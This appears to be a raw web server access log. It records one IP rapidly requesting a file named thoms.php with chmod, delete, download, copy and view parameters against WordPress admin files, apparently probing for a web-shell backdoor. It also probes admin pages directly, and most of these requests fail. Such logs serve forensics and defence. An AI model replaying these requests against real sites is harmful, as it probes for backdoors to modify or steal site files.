45.135.193.11 - - [12/Sep/2026:00:00:41 -0400] "GET /thoms.php?chmod=ms-admin.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-admin.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:41 -0400] "GET /thoms.php?del=profile.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=profile.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:41 -0400] "GET /thoms.php?dl=upload.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=upload.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:42 -0400] "GET /thoms.php?del=media-upload.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=media-upload.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:41 -0400] "GET /bfl.com.tw/wp-admin/ms-themes.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:42 -0400] "GET /thoms.php?del=ms-users.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-users.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:42 -0400] "GET /thoms.php?chmod=post-new.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=post-new.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:42 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=theme-editor.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=theme-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:42 -0400] "GET /thoms.php?chmod=includes&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=includes&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:42 -0400] "GET /bfl.com.tw/wp-admin/includes/ HTTP/1.1" 200 4144 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:42 -0400] "GET /thoms.php?dl=menu.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=menu.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:42 -0400] "GET /thoms.php?chmod=comment.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=comment.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:42 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fcomment.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fcomment.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:42 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fms-themes.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fms-themes.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:42 -0400] "GET /bfl.com.tw/wp-admin/ms-upgrade-network.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:42 -0400] "GET /thoms.php?dl=profile.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:42 -0400] "GET /thoms.php?chmod=images&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=images&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:42 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=authorize-application.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=authorize-application.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:42 -0400] "GET /bfl.com.tw/wp-admin/options-media.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:43 -0400] "GET /thoms.php?dl=edit-link-form.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit-link-form.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:43 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=widgets-form-blocks.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=widgets-form-blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:43 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin%2Fnetwork HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin%2Fnetwork" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:43 -0400] "GET /thoms.php?chmod=credits.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=credits.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:43 -0400] "GET /bfl.com.tw/wp-admin/edit.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:43 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=link-parse-opml.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=link-parse-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:43 -0400] "GET /bfl.com.tw/wp-admin/ms-options.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:43 -0400] "GET /bfl.com.tw/wp-admin/options.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:43 -0400] "GET /bfl.com.tw/wp-admin/site-health.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:43 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fcustom-header.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fcustom-header.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:44 -0400] "GET /thoms.php?chmod=network.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=network.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:44 -0400] "GET /thoms.php?dl=index.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:44 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=plugins.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=plugins.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:44 -0400] "GET /thoms.php?chmod=revision.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=revision.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:44 -0400] "GET /thoms.php?del=setup-config.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=setup-config.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:44 -0400] "GET /thoms.php?chmod=erase-personal-data.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=erase-personal-data.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:44 -0400] "GET /thoms.php?chmod=ms-sites.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-sites.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:44 -0400] "GET /thoms.php?dl=ms-sites.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-sites.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:44 -0400] "GET /bfl.com.tw/wp-admin/revision.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:44 -0400] "GET /thoms.php?del=nav-menus.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=nav-menus.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:44 -0400] "GET /thoms.php?dl=options-reading.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-reading.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:44 -0400] "GET /thoms.php?del=widgets-form-blocks.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=widgets-form-blocks.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:44 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Foptions-privacy.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Foptions-privacy.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:44 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fadmin-post.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fadmin-post.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:45 -0400] "GET /thoms.php?chmod=edit-tag-form.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit-tag-form.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:44 -0400] "GET /bfl.com.tw/wp-admin/moderation.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:45 -0400] "GET /thoms.php?dl=menu-header.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=menu-header.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:45 -0400] "GET /thoms.php?del=options-media.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-media.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:45 -0400] "GET /bfl.com.tw/wp-admin/edit-form-advanced.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:45 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fsite-editor.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fsite-editor.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:45 -0400] "GET /thoms.php?del=admin-post.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin-post.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:45 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=options-general.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=options-general.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:45 -0400] "GET /thoms.php?del=options-reading.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-reading.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:45 -0400] "GET /thoms.php?chmod=profile.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:45 -0400] "GET /bfl.com.tw/wp-admin/load-scripts.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:45 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fjs&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fjs&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:45 -0400] "GET /thoms.php?del=edit-tags.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit-tags.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:45 -0400] "GET /bfl.com.tw/wp-admin/widgets-form-blocks.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:45 -0400] "GET /thoms.php?dl=ms-themes.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-themes.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:45 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=site-health-info.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=site-health-info.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:45 -0400] "GET /bfl.com.tw/wp-admin/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:46 -0400] "GET /thoms.php?chmod=site-health-info.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=site-health-info.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:46 -0400] "GET /thoms.php?dl=media-new.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=media-new.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:46 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=ms-admin.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=ms-admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:46 -0400] "GET /bfl.com.tw/wp-admin/ms-edit.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:46 -0400] "GET /thoms.php?dl=site-health.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=site-health.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:46 -0400] "GET /thoms.php?del=contribute.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=contribute.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:46 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Flink-add.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Flink-add.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:46 -0400] "GET /thoms.php?dl=theme-install.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=theme-install.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:46 -0400] "GET /thoms.php?chmod=user-edit.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=user-edit.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:46 -0400] "GET /bfl.com.tw/wp-admin/font-library.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:46 -0400] "GET /thoms.php?chmod=ms-edit.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-edit.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:46 -0400] "GET /thoms.php?chmod=nav-menus.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=nav-menus.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:46 -0400] "GET /thoms.php?dl=options-privacy.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-privacy.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:46 -0400] "GET /thoms.php?del=upgrade-functions.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=upgrade-functions.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:47 -0400] "GET /thoms.php?del=upload.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=upload.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
